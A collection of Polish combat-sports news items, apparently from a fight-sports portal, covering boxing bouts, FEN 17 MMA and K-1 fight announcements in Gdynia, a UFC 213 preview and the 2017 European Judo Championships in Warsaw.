Krzysztof Zimnoch pokonując doświadczonego Amerykanina zanotował 22 zwycięstwo w karierze, w tym 15 przed czasem. Kolejne wyzwanie przed Polakiem 9 września. Zimnoch ma zaprezentować się na gali w Radomiu, a stawką walki prawdopodobnie będzie regionalny pas jednej z federacji.
Zwycięstwo z Grantem sprawiło, że pozycja Zimnocha w wadze ciężkiej umocniła się. Polski pięściarz awansował na 50. pozycję w rankingu wagi ciężkiej portalu boxrec.com. W krajowym zestawieniu Zimnoch zajmuje 4. lokatę za Mariuszem Wachem, Adamem Kownackim i Andrzejem Wawrzykiem.
Fot. Facebook
KM
Zapraszamy do obejrzenia reportażu z backstage Gali LFN 5 – Five Points. Nasze kamery dotarły w miejsca niedostepne dla widzow.
[kod]
Były zawodnik UFC Piotr Hallmann po blisko rocznej przerwie ponownie stanie do walki! 12 maja na gali FEN 17 Baltic Storm „Płetwal” powróci nie tylko do klatkoringu Fight Exclusive Night, ale i kategorii lekkiej. Nazwisko jego rywala organizacja FEN ogłosi już wkrótce.
Piotr Hallmann (29 lat, 175 cm, 16-6, 7 KO, 7 SUB) to bez wątpienia jeden z najlepszych polskich zawodników MMA i jeden z pierwszych, którzy walczyli w organizacji UFC. Na angaż w amerykańskiej organizacji zapracował 13 zwycięstwami w 14 walkach, z których większość odniósł przez nokaut lub poddanie. W ciągu ponad dwóch lat kontraktu z UFC stoczył sześć pojedynków, trzykrotnie będąc nagradzanym przez federację bonusami finansowymi – za walkę wieczoru uznano jego starcie z Brazylijczykiem Gleisonem Tibau, za występ wieczoru zwycięstwo nad Amerykaninem Yvesem Edwardsem, a za poddanie wieczoru kimurę założoną Brazylijczykowi Francisco Trinaldo.
Po powrocie z USA do Polski w styczniu 2016 roku „Płetwal” stoczył dwie walki – na gali Slava Republic 1 pokonał Francuza Jasona Poneta, a później w walce wieczoru gali FEN 13 Summer Edition przegrał na punkty z Kamilem „Bombą” Łebkowskim. Był to dla niego wyjątkowy pojedynek, ponieważ po raz pierwszy i jak do tej pory jedyny walczył w kategorii piórkowej. Po tym niezbyt udanym eksperymencie gdynianin zdecydował się powrócić do „swojej” wagi lekkiej i w niej właśnie stoczy kolejną walkę na gali FEN 17 Baltic Storm.
Przeciwnik Piotr Hellmanna oraz kolejni uczestnicy majowej gali w Gdynia Arena będą ogłaszani już w najbliższych dniach. W tej chwili wiadomo już, że oprócz „Płetwala” 12 maja w Gdyni wystąpią m.in. tacy znakomici zawodnicy MMA, jak Kamil Łebkowski, Michał Wlazło, Aleksander Georgas, Jakub Kowalewicz, Michał Oleksiejczuk i Ireneusz Szydłowski. Publiczność obejrzy tego wieczora również walki K-1 z udziałem utytułowanych kickbokserów Radosława Paczuskiego, Jarosława Daschke, Roberta Rajewskiego juniora i Marcina Szredera.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Trwają mistrzostwa Europy w judo w Warszawie. Indywidualnie Polacy bez medalu. O podium otarli się Katarzyna Kłys (70kg) i Maciej Sarnacki (+100kg). O medale powalczą jeszcze drużyny.
Głęboko wierzyliśmy, że biało-czerwoni wykorzystają atut własnego terenu. W startach indywidualnych Polacy nie wybili się na pierwszy plan.
Medal na wyciągnięcie ręki
18 Polaków zaprezentowało się na warszawskim Torwarze. Niestety, żadnemu z nich nie udało stanąć się na podium. Rok temu w Kazaniu nowego ducha tchnął w kibiców judo Piotr Kuczera (90kg), który wywalczył brązowy medal. W Warszawie nie zachwycił, bo odpadł już w pierwszej walce z Khusenem Khalmurzaevem. Ostatecznie Rosjanin stanął na trzecim stopniu podium.
Katarzyna Kłys (70kg) zapowiadała, że mistrzostwa Europy w Polsce będą jej ostatnim występem w karierze. 31-letnia zawodniczka to jedna z wyróżniających się postaci polskiego judo na przestrzeni ostatnich lat. Na swoim koncie zapisała brąz mistrzostw świata w 2014 roku oraz srebro mistrzostw Europy w 2012 roku. Obie imprezy odbyły się w Czelabińsku. Sięgnęła także po tytuł wicemistrzyni Starego Kontynentu w 2007 roku i trzy razy startowała w igrzyskach olimpijskich. W Warszawie Kłys stoczyła cztery walki. Rozpoczęła od wygranej z Nataschą Ausmą, ale do repasaży zesłała ją Barbata Matić, późniejsza brązowa medalistka. Doświadczona Polka również stanęła przed szansą wywalczenia miejsca na podium. W boju o brąz Francuzka Eve Marie Gahie nie dała szans Kłys.
Najlepszy start w karierze w mistrzostwach Europy zaliczył Maciej Sarnacki (+100kg), ale nadal pozostaje bez medalu. Ponad miesiąc temu judoka z Olsztyna triumfował w Pucharze Europy w Katowicach. To miał być dobry prognostyk przed mistrzowską imprezą w Warszawie. Sarnacki start na Torwarze zaczął z animuszem. Szybko odprawił Daniela Allerstorfera, w kolejnej walc poradził sobie z Barną Borem. Nieczyste zagrania Haruna Sadikovicia sprawiły, że Polak stanął do rywalizacji o finał. Zacięta walka, jednak Adam Okruashvili zapisał na swoim koncie dwa waza-ari. W starciu o brąz Sarnacki trafił na mistrza olimpijskiego Lukasa Krpaleka. Czech czekał na swoją szansę i po ponad dwóch minutach zakończył rywalizację.
Indywidualnie w Warszawie dominowali Rosjanie, którzy zdobyli dziewięć medali. Sborna może pochwalić się dwoma mistrzami Europy. W kategorii 60kg triumfował Robert Mshvidobadze, który tym samym wywalczył pierwsze złoto na mistrzowskiej imprezie. Alan Khubetsov najlepszy w 81kg. Kroku Rosjanom starali dotrzymać się Francuzi. Trójkolorowi zdobyli siedem medali, w tym dwa złote. Mistrzyniami Europy zostały: Priscila Gneto i Audrey Tcheumeo.
Wierzymy w moc naszych drużyn
Rok temu w Kazaniu w euforię wprawiły nas nasze drużyny. Polki sięgnęły po złoto. W finale biało-czerwone pokonały Rosjanki 3:2 i stanęły na najwyższym stopniu podium. Jedyną z zawodniczek, która zdobyła wtedy punkt, a znalazła się w obecnej kadrze jest Katarzyna Kłys.
W Kazaniu niespodziankę sprawili panowie. Biało-czerwoni pokonali Ukrainę i Azerbejdżan, ale w półfinale lepsi okazali się Gruzini. W starciu o brąz Polacy pokonali Czechów. Z Kazania przywieźliśmy trzy medale. Po startach indywidualnych mieliśmy niedosyt.
W Warszawie liczyliśmy na więcej, a po trzech dniach nie mamy ani jednego medalu. Wierzymy, że nasze drużyny osłodzą nam „polskie” mistrzostwa Europy.
Fot. Facebook
KM
Marcin Szreder poznał nazwisko swego rywala na gali FEN 17 Baltic Storm! Dwukrotny zdobywca Pucharu Europy 12 maja w Gdynia Arena stanie przed szansą wyrównania rachunków z Arturem Bizewskim za minimalną porażkę, której doznał z rąk dwukrotnego zdobywcy Pucharu Świata w tej samej hali podczas gali FEN 13 Summer Edition.
Pojedynek wagi ciężkiej Marcina Szredera z Arturem Bizowskim był jedną z najlepszych walk ubiegłorocznej wakacyjnej gali FEN. Zarówno reprezentant klubu Palestra Warszawa, jak i zawodnik Agoga Gym Lębork mieli przed tym starciem po cztery zwycięstwa bez porażki i zapowiadali ostry bój o zachowanie czystego konta. Dotrzymali słowa – kibice w Gdynia Arena byli świadkami kickbokserskiej wojny na wyniszczenie, w której obaj utytułowani fighterzy nie szczędzili sobie morderczych ciosów i kopnięć. Decyzją sędziów zwycięstwo przypadło Bizewskiemu, ale nikt z obserwatorów tego widowiskowego starcia nie miał wątpliwości, że walczący tego wieczora z kontuzją Szreder w pełni zasłużył na to, by jeszcze raz skrzyżować rękawice z „Bizonem”, kiedy już będzie w pełni sił.
Dla Marcina Szredera będzie to czwarty występ dla Fight Exclusive Night i szósty zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem tureckiego pochodzenia Aytakiem Yahsim podczas gali FEN 11 Warsaw Time. W ostatniej swej walce na marcowej gali FEN 16 Warsaw Reloaded już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski, zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik.
Artur Bizewski ma na koncie sześć zawodowych walk K-1, z których dwie ostatnie stoczył dla federacji FEN. Po zwycięstwie nad Szrederem dwukrotny zdobywca Pucharu Świata i brązowy medalista mistrzostw Europy zmierzył się na gali FEN 16 z aktualnym amatorskim mistrzem świata K-1 Global Arkadiuszem Wrzoskiem. Na stołecznym Torwarze „Bizon” przegrał, ale wspólnie z rywalem zafundowali kibicom emocjonujący pojedynek K-1 na europejskim poziomie, toczony w niesamowitym tempie i obfitujący w znakomite akcje z obu stron.
Starcie Marcina Szredera z Arturem Bizewskim jest trzecim ogłoszonym już pojedynkiem K-1 w karcie walk gali FEN 17 – wcześniej federacja zapowiedziała walkę Radosława Paczuskiego z Holendrem Menno Van Roosmalenem oraz Jarosława Daschke z Robertem Rajewskim juniorem. Poza tym 12 maja w Gdynia Arena kibice obejrzą walki na zasadach MMA z udziałem m.in. Kamila Łebkowskiego, Piotra Hallmanna, Michała Wlazło, Michała Oleksiejczuka, Aleksandra Georgasa, Jakuba Kowalewicza i Ireneusza Szydłowskiego.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Daniel Omielańczuk znalazł się na zakręcie. Polski fighter zdążył pokazać, że potrafi wychodzić z opałów. Czy uda mu się po raz kolejny? 8 lipca na gali UFC 213 w Las Vegas Polak zmierzy się z Curtisem Blaydesem.
W przypadku Omielańczuka margines błędu jest już coraz mniejszy, a właściwie nie ma już miejsca na wpadki. Czy doświadczony zawodnik ucieknie spod topora?
Sytuacja podbramkowa
Sytuację Omielańczuka można przedstawić po piłkarsku. Dogrywka nie dała rozstrzygnięcia, o wszystkim decydują rzuty karne. Do piłki podchodzi zawodnik, od którego wszystko zależy. Za chwilę może być w niebie albo w piekle. Ostatni czas dla Daniela Omielańczuka w UFC nie jest najlepszy. Porażkę ze Stefanem Struvem można jeszcze jakoś usprawiedliwiać, bo Holender jest mocny i ma bogaty bagaż doświadczeń w najlepszej organizacji MMA na świecie. Przegrana z Johnsonem boli, bo sędziowie niejednogłośnie wskazali na Amerykanina. Po dobrym początku wydawało się, że Omieliańczuk będzie zmierzał w stronę zwycięstwa, ale z czasem Johnson próbował walki w parterze, klinczował i starał się neutralizować atuty Polaka. Taktyka Amerykanina okazała się skuteczna.
Ale „co było nie wróci” i warto pamiętać, że „tyle przed nami”. Wiadomo, że sytuacja Omielańczuka w UFC jest trudna, bo po dwóch porażkach stąpa po cienkim lodzie. Jednak już raz 34-latek znalazł się w podobnej sytuacji. W debiucie w UFC pokonał przez nokaut Nandora Guelmino, a później zanotował dwie porażki. Jego los w amerykańskiej organizacji wisiał na włosku, ale Polak zaczął walczyć rewelacyjnie. W niecałe 50 sekund pokonał Chrisa de la Rochę, później wygrał przed czasem Jarjisa Danho i decyzją sędziów triumfował w starciu z mocnym Alexejem Olejnikiem. Omielańczuk wyglądał coraz lepiej, ale przytrafiły mu się dwie porażki i musi budować swoją pozycję w UFC praktycznie od nowa.
Przed kolejnym wyzwaniem 34-latek stanie 8 lipca w Las Vegas. Na gali UFC 213 zmierzy się z Curtisem Blaydesem. Tej walki Polak przegrać nie może.
Amerykańska maszyna
26-letni Blaydes zbiera doświadczenie w UFC. Jednak trzeba zwrócić uwagę na jego bilans. Wygrał 7 z 8 walk i wszystkie przed czasem!
Amerykanin jest niezwykle groźny i potrafi zasypać rywala ciosami, po których ten nie jest w stanie wrócić do rywalizacji. Blaydes zaczął przygodę w UFC rok temu od porażki z Francisem Ngannou. Potem rozbił łokciami Cody'ego Easta i pokonał Adama Milsteada. Ostatnie zwycięstwo odebrano mu ze względu na pozytywny wynik testu na obecność marihuany.
Omielańczuk stanie przed trudnym zadaniem. Blaydes jest młodszy o osiem lat, niezwykle szybki i skuteczny. Wszystko w rękach Polaka, który czeka na piąte zwycięstwo w UFC.
KM
Od mocnej walki Adama Brzezowskiego z Damianem Tarabaszem rozpocznie się 12 maja gala FEN 17 Baltic Storm w Gdynia Arena. Dla obu tych młodych, obiecujących fighterów wagi półśredniej będzie to debiut w organizacji Fight Exclusive Night.
26-letni Adam „Brooklyn” Brzezowski to utalentowany zawodnik klubu MMA Devil Międzychód, który ma na swoim koncie m.in. mistrzostwo Wielkopolski w submission fighting. Dotychczas stoczył ponad 20 amatorskich walk grapplingowych i w formule MMA. Podopieczny trenera Przemysława Kniocha w zawodowym ringu debiutował ponad trzy lata temu. Obecnie jego rekord to 4 zwycięskie walki, w których dwa razy nokautował i dwa razy poddawał swoich rywali, oraz 2 porażki.
Przeciwnikiem Brzezowskiego na gali FEN 17 Baltic Storm będzie reprezentujący gdyński Energy Fight Club, 27-letni Damian „Kazuba” Tarabasz. Zawodnik duetu trenerskiego Maciej Kartawik i Jarosław Miotk to amatorski mistrz Polski w MMA z 2012 roku, ale sukcesy odnosił także na ringach bokserskich, m.in. dwukrotnie zdobywając tytuł wicemistrza Poznania. Jako zawodowiec na zasadach MMA walczył dotąd trzy razy, odnosząc 2 zwycięstwa i raz przegrywając. Ostatni walkę stoczył zaledwie 2 tygodnie temu na lokalnej gali w Radomiu, pokonując na punkty Artura Zientalaka.
W innych ogłoszonych już walkach na zasadach MMA podczas gali FEN 17 Baltic Storm zmierzą się Michał Wlazło z Czechem Martinem Chudejem, Bartosz Leśko z Aleksandrem Rychlikiem oraz Jakub Kowalewicz z Aleksandrem Georgasem, a w pojedynkach K-1 spotkają się Radosław Paczuski z Holenderem Menno Van Roosmalenem i Jarosław Daschke z Robertem Rajewskim juniorem. 12 maja w Gdynia Arena wystąpią także Kamil Łebkowski, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Tomasz Adamek zmierzy się z Solomonem Haumono na gali Polsat Boxing Night w Gdańsku, która odbędzie się 24 czerwca. Dla Polaka będzie to powrót na ring po ponad rocznej przerwie.
Nie mógł wytrzymać i postanowił wrócić. W kwietniu ubiegłego roku Adamek żegnał się z publicznością po porażce z Erikiem Moliną. Miała to być ostatnia walka byłego mistrza WBC w kategorii półciężkiej.
Życie zaczyna się po „40”
Na emeryturze ciężko wytrzymać. Niby człowiek chce odpocząć i poświęcić czas sobie oraz najbliższym, ale pojawia się moment, w którym czegoś brakuje. Sugar Ray Leonard, George Foreman, Floyd Mayweather Jr., Oscar de La Hoya, Andrzej Gołota czy ostatnio Manny Pacquaio – to nazwiska tych bokserów, którzy pomimo deklaracji o zakończeniu kariery postanowili wrócić na ring. 2 kwietnia 2016 roku – właśnie ta data miała być zamknięciem sportowej przygody Tomasza Adamka. Popularny „Góral” zdobywał pasy mistrzowskie w kategoriach juniorciężkiej i półciężkiej. Warto wspomnieć, że Polak rywalizował o pas w wadze ciężkiej, ale przegrał z Witalijem Kliczko. W Krakowie otrzymał potężny cios od Erica Moliny i w 10. rundzie znalazł się na deskach. To była piąta porażka Adamka w 55 walce. Miała być ostatnia.
Nastąpił jednak zwrot akcji. Tomasz Adamek zaprezentuje się 24 czerwca w Gdańsku, podczas gali, której promotorem będzie Mateusz Borek. Dla znanego komentatora będzie to debiut w nowej roli. W zestawieniu Polsat Boxing Night nie brakuje mocnych nazwisk. Z pewnością Adamek będzie magnesem dla widzów. Można zaryzykować, że życie zaczyna się po „40”. „Góral” swoje już w boksie zrobił, a teraz może z tego czerpać. W polskich warunkach nadal jest gwiazdą. Zwłaszcza, że na horyzoncie nie widać wyróżniających się postaci.
Poznaliśmy również nazwisko najbliższego rywala Adamka. Będzie nim Solomon Haumono. Zapewne dla wielu fanów boksu to nazwisko dość anonimowe. 41-letni Nowozelandczyk nie może pochwalić się większymi sukcesami. W kwietniu ubiegłego roku Haumono zdobył pas WBA Oceania i obronił tytuł mistrzowski PABA. Na swoim koncie ma 24 wygrane, z czego 21 przed czasem oraz trzy porażki i dwa remisy. Ostatnią walkę stoczył w lipcu, kiedy to przegrał z Josephem Parkerem.
Z pewnością będzie to starcie weteranów, w którym dużą rolę odegra kondycja. Niektórzy mogą żartować, że zapowiada się pojedynek dziadków. Jednak Adamek nadal w polskich warunkach ma status gwiazdy. Z trzech ostatnich walk na polskiej ziemi „Góral” wygrał tylko jedno starcie. W pojedynku „weteranów” okazał się lepszy od starszego o osiem lat Przemysława Salety.
Powrót byłego mistrza
W Gdańsku zaprezentuje się Krzysztof Głowacki. Wraca do Ergo Areny, w której ponad pół roku temu stracił pas wagi junior ciężkiej na rzecz Oleksandra Usyka. Nazwisko rywala popularnego „Główki” nie jest jeszcze znane.
Podczas gali Polsat Boxing Night zobaczymy również Ewę Brodnicką i Mateusza Masternaka.
KM
Trwa dopinanie szczegółów przed rozpoczynającymi się 20 kwietnia mistrzostwami Europy w judo, które odbędą się w warszawskiej hali Torwar. Dla biało-czerwonych może to być przełomowa impreza. Po raz ostatni mistrzostwa Europy w naszym kraju odbyły się 17 lat temu.
Przełomem miały być Igrzyska Olimpijskie w Rio de Janeiro, gdzie liczyliśmy na medal. Arleta Podolak, Daria Pogorzelec, Katarzyna Kłys i Maciej Sarnacki wrócili z niczym. Mimo to, w ostatnich latach widać światełko w tunelu. Czy w Warszawie ono rozbłyśnie i nastąpi otwarcie nowego rozdziału w historii polskiego judo?
Medalowych nadziei nie brakuje
Ostatnie dni przed startem mistrzostw Europy są niezwykle gorące. Prezes Polskiego Związku Judo Jacek Zawadka odbiera setki telefonów, jest jedną z najbardziej rozchwytywanych osób w naszym kraju. – Mamy dobry team, który czuwa nad organizacją imprezy, jednak trzeba wszystkiego doglądać – mówi FighTime.pl Jacek Zawadka.
Organizacja czterodniowej imprezy to ogromne wyzwanie. Wszystko musi być dopięte na ostatni guzik, nawet najmniejszy szczegół. – Po przyznaniu organizacji mistrzostw Europy stanęliśmy przed ogromnym wyzwaniem. Solidnie przepracowaliśmy ten czas. Jesteśmy gotowi do przyjęcia wszystkich, którzy chcą uczestniczyć w wielkim święcie judo. Połowa ekip dotarła już do Warszawy – tłumaczy prezes Polskiego Związku Judo.
Rok temu w Kazaniu biało-czerwoni wywalczyli trzy medale. Niczym Filip z konopi wyskoczył Piotr Kuczera (90kg), który stanął na najniższym stopniu podium. Najlepszą drużyną Starego Kontynentu zostały Polki, zaś panowie wywalczyli brąz. Na własnym terenie mogą pokusić się o poprawienie tego dorobku. – Liczymy na to, że uda się obronić medale naszych drużyn. Dziewczyny są niezwykle mocne i na pewno znajdą się w czołówce. Nieco trudniej będzie u panów, gdzie konkurencja jest bardzo mocna. Liczymy na dobre występy Piotra Kuczery oraz Katarzyny Kłys. Czekamy na niespodziankę w kategorii 57kg, gdzie mamy Annę Borowską i Julię Kowalczyk. Łatwo nie będzie, ale liczymy na ogromne serce do walki, które pokażą zawodniczki – przedstawia Zawadka.
Ważna impreza
Mistrzostwa Europy w Warszawie (20-23 kwietnia) to szansa dla polskiego judo. Po pierwsze, na sukces sportowy, po drugie – na zwiększenie popularności dyscypliny. – Niewątpliwie jest to dla nas ważna impreza. Zarazem będzie to otwarcie dla nowego zarządu naszego związku. Na poziomie sportowym będzie to ważny test dla zawodników przed mistrzostwami świata i rozpoczęciem kwalifikacji do igrzysk olimpijskich – przyznaje prezes PZJudo. – Pobudziliśmy całe środowisko. Chcemy dotrzeć do jak największej liczby osób. Imprezę śledzić będą uczniowie mazowieckich szkół. Podczas mistrzostw zaplanowaliśmy trening ukemi, czyli podstawę dla dzieci nietrenujących judo – dodaje.
W programie imprezy również występ Norbiego (21 kwietnia, 15:15) oraz trening z mistrzem Pawłem Nastulą (22 kwietnia, 14.30).
Fot. PZJudo/S.Michałowski
KM
Warszawa czeka na czołowych judoków Starego Kontynentu. Mistrzostwa Europy wystartują już 20 kwietnia. Szykują się sportowe emocje i wiele atrakcji.
Święto judo w Polsce. W naszym kraju regularnie odbywają się międzynarodowe zawody, jednak na kolejne mistrzostwa Europy przyszło nam czekać 17 lat. W 2000 roku gospodarzem czempionatu był Wrocław.
Cztery dni wielkich emocji
Hala Torwar zamieni się w istną świątynię judo. Przez cztery dni na warszawskim tatami będą rywalizowali najlepsi zawodnicy Europy. Start imprezy w czwartek 20 kwietnia o 11.00. Jako pierwsi na tatami zaprezentują się kobiety w kategoriach 48, 52 i 57kg oraz mężczyźni w 60 i 66kg. Rzecz jasna nie może zabraknąć Polaków. O medale powalczą Ewa Konieczny (48kg), Karolina Pieńkowska i Agata Perenc (obie 52kg), Julia Kowalczyk i Anna Borowska (obie 57kg), Aleksander Beta i Patryk Wawrzyczek (obaj 66kg). W programie pierwszego dnia imprezy zaplanowano również trening ukemi. O 14.15 rozpocznie się nauka bezpiecznego upadania dla dzieci nietrenujących judo.
Drugiego dnia mistrzostw Europy zapadną rozstrzygnięcia wśród kobiet w kategoriach 63 i 70kg oraz mężczyzn w 73 i 81kg. Start zmagań o 11.00. O medale powalczą Karolina Tałach i Agata Ozdoba (obie 63kg), Katarzyna Kłys i Sandra Lickun (obie 70kg), Wiktor Mrówczyński i Mateusz Garbacz (obaj 73kg), Damian Szwarnowiecki, Jakub Kubieniec, Łukasz Błach (wszyscy 81kg). Atrakcją dnia będzie koncert Norbiego, który zaplanowano o 15.15. Kwadrans później odbędzie się ceremonia otwarcia mistrzostw. W sobotę o 12.00 o medale rywalizować będą najciężsi zawodnicy. Wśród nich m.in. zdobywca brązowego krążka na poprzednim czempionacie Piotr Kuczera (90kg). Ponadto, z dużymi nadziejami do rywalizacji przystąpią: Paula Kułaga i Beata Pacut (obie 78kg), Anna Załęczna (+78kg), Patryk Ciechomski i Tomasz Szczepaniak (obaj 90kg), Jakub Wójcik, Tomasz Domański, Mariusz Krueger (wszyscy 100kg), Kamil Grabowski i Maciej Sarnacki (+100kg). W sobotę wielką atrakcją dla miłośników judo będzie trening z Pawłem Nastulą. Mistrz olimpijski z Atlanty będzie prowadził zajęcia dla dzieci.
Ostatniego dnia imprezy będziemy ściskać kciuki za nasze drużyny. Mamy powody do optymizmu, bo tworzymy świetny kolektyw. Nasze panie rok temu wywalczyły złoto w Kazaniu, a męska drużyna zdobyła brąz. Czy po upływie 12 miesięcy ponownie usłyszymy Mazurka Dąbrowskiego?
Czołówka w stolicy
W Warszawie zaroi się od gwiazd. Pierwszoplanową postacią powinna być 25-letnia Majlinda Kelmendi. Liderka światowych list to mistrzyni olimpijska i mistrzyni Europy. W tym roku wygrała zawody Grand Slam w Paryżu. Emocji nie zabraknie w kategorii 63kg. A to za sprawą Tiny Trstenjak i Clarisse Agbegnenou. Obie spotkały się w finale igrzysk olimpijskich. Lepsza okazała się Słowenka, tak jak i w przypadku mistrzostw świata w 2015 roku. Francuzka będzie chciała wziąć rewanż na rywalce. Nie zabraknie liderki list Guusje Steenhuis (78kg). W dziewięciu kolejnych startach Holenderka stawała na podium!
Orkhan Safarov (60kg) będzie chciał w końcu sięgnąć po złoto. Do tej pory dwa razy rywalizował w finale i musiał przełknąć gorycz porażki. Obronić tytuł postara się Rustam Orujov (73kg). Azer ma za sobą dobry czas. Był o krok od triumfu w Rio, gdzie musiał uznać wyższość Japończyka Shohei Ono. Na złoto czeka również Elmar Gasimov (100kg), czyli numer 1 światowych list. Azer ma na koncie dwa medale mistrzostw Europy, ale brakuje mu tego z najcenniejszego kruszcu. Trzy lata temu zdobył srebro, rok temu w Kazaniu był piąty.
Fot. Facebook
KM
Bardzo interesujący pojedynek K-1 w kategorii do 70 kg czeka kibiców 12 maja w Gdynia Arena. Zmierzą się w nim niezwykle utytułowany i doświadczony Jarosław Daschke z Championa Gdańsk i wracający do kickbokserskich korzeni, głodny sukcesów Robert Rajewski junior z Rajewski Team Płock.
Dla Jarosława Daschke (27 lat, 173 cm, 11-1), trzykrotnego srebrnego medalisty Pucharu Świata i wielokrotnego mistrza Polski w kickboxingu i muay thai, walka na gali FEN 17 będzie trzecią w organizacji Fight Exclusive Night. W poprzednich pojedynkach podopieczny trenera Bogdana Bliźniaka zwyciężał na punkty – w 2014 roku na gali FEN 4 Summer Edition w Sopocie pokonał Łukasza Gawlika, a na FEN 13 Summer Edition w Gdyni wygrał z Marcinem Stopką. Utytułowany weteran amatorskiego kickboxingu (ma na koncie ponad 150 walk, z których wygrał około 120) na zawodowych ringach radzi sobie doskonale – jesienią dopisał do swego rekordu zwycięstwo nad mistrzem Ukrainy Oleksia Mykhailova, a kilka dni temu w starciu z Piotrem Trześniewskim-Trycem obronił pas Zawodowego Mistrza Krajów Nadbałtyckich Federacji BMAF K-1.
Robert Rajewski junior (26 lat, 180 cm, 10-4) na FEN 17 Baltic Storm również trzeci raz wystąpi w klatkoringu Fight Exclusive Night, ale po raz pierwszy stoczy w nim walkę na zasadach K-1. W poprzednich pojedynkach fighter z Płocka walczył w formule MMA, ulegając wymagającym przeciwnikom – Michałowi Wrzoskowi i Aleksandrowi Georgasowi. 12 maja w Gdynia Arena Rajewski jr powróci do dyscypliny, w której odnosił największe swoje sportowe sukcesy, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.
W innych ogłoszonych już zestawieniach gali FEN 17 Baltic Storm zmierzą się Michał Wlazło z Czechem Martinem Chudejem, Bartosz Leśko z Aleksandrem Rychlikiem oraz Jakub Kowalewicz z Aleksandrem Georgasem. 12 maja w Gdynia Arena wystąpią także m.in. Kamil Łebkowski, Radosław Paczuski, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Bardzo interesujący pojedynek K-1 w kategorii do 70 kg czeka kibiców 12 maja w Gdynia Arena. Zmierzą się w nim niezwykle utytułowany i doświadczony Jarosław Daschke z Championa Gdańsk i wracający do kickbokserskich korzeni, głodny sukcesów Robert Rajewski junior z Rajewski Team Płock.
Dla Jarosława Daschke (27 lat, 173 cm, 11-1), trzykrotnego srebrnego medalisty Pucharu Świata i wielokrotnego mistrza Polski w kickboxingu i muay thai, walka na gali FEN 17 będzie trzecią w organizacji Fight Exclusive Night. W poprzednich pojedynkach podopieczny trenera Bogdana Bliźniaka zwyciężał na punkty – w 2014 roku na gali FEN 4 Summer Edition w Sopocie pokonał Łukasza Gawlika, a na FEN 13 Summer Edition w Gdyni wygrał z Marcinem Stopką. Utytułowany weteran amatorskiego kickboxingu (ma na koncie ponad 150 walk, z których wygrał około 120) na zawodowych ringach radzi sobie doskonale – jesienią dopisał do swego rekordu zwycięstwo nad mistrzem Ukrainy Oleksia Mykhailova, a kilka dni temu w starciu z Piotrem Trześniewskim-Trycem obronił pas Zawodowego Mistrza Krajów Nadbałtyckich Federacji BMAF K-1.
Robert Rajewski junior (26 lat, 180 cm, 10-4) na FEN 17 Baltic Storm również trzeci raz wystąpi w klatkoringu Fight Exclusive Night, ale po raz pierwszy stoczy w nim walkę na zasadach K-1. W poprzednich pojedynkach fighter z Płocka walczył w formule MMA, ulegając wymagającym przeciwnikom – Michałowi Wrzoskowi i Aleksandrowi Georgasowi. 12 maja w Gdynia Arena Rajewski jr powróci do dyscypliny, w której odnosił największe swoje sportowe sukcesy, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.
W innych ogłoszonych już zestawieniach gali FEN 17 Baltic Storm zmierzą się Michał Wlazło z Czechem Martinem Chudejem, Bartosz Leśko z Aleksandrem Rychlikiem oraz Jakub Kowalewicz z Aleksandrem Georgasem. 12 maja w Gdynia Arena wystąpią także m.in. Kamil Łebkowski, Radosław Paczuski, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Bartosz Leśko, jeden z najbardziej obiecujących zawodników MMA młodego pokolenia, już 12 maja zadebiutuje w organizacji Fight Exclusive Night. Fighter Mad Dogs Gdynia na gali FEN 17 Baltic Storm w Gdynia Arena będzie miał bardzo trudnego przeciwnika – jego rywalem będzie Aleksander Rychlik z WCA Fight Team Warszawa.
Bartosz Leśko (20 lat, 189 cm, 4-0-1, 2 KO, 2 SUB) to kolejny po Bartoszu Chyrku i Jacku Krefcie reprezentant klubu Mad Dogs Gdynia, który związał się z federacją Fight Exclusive Night. Utalentowany fighter z Trójmiasta zwrócił na siebie uwagę kibiców MMA już jako amator, odnosząc 19 zwycięstw w 23 walkach oraz zdobywając Puchar Polski i tytuł międzynarodowego mistrza Polski juniorów. Leśko jest także wielokrotnym medalistą mistrzostw świata, Europy i Polski w karate. W profesjonalnym MMA zadebiutował w styczniu 2015 roku, na gali ToM 1 First Blood w Sopocie poddając Marka Michaluka. Jako zawodowiec podopieczny Bartosza Chyrka jeszcze nie poczuł goryczy porażki – na swoim koncie ma 4 zwycięstwa, wszystkie odniesione przed czasem, oraz 1 remis. W ostatnim swoim pojedynku, w listopadzie ubiegłego roku na gali ToM 3, duszeniem zza pleców pokonał Macieja Szydłowskiego.
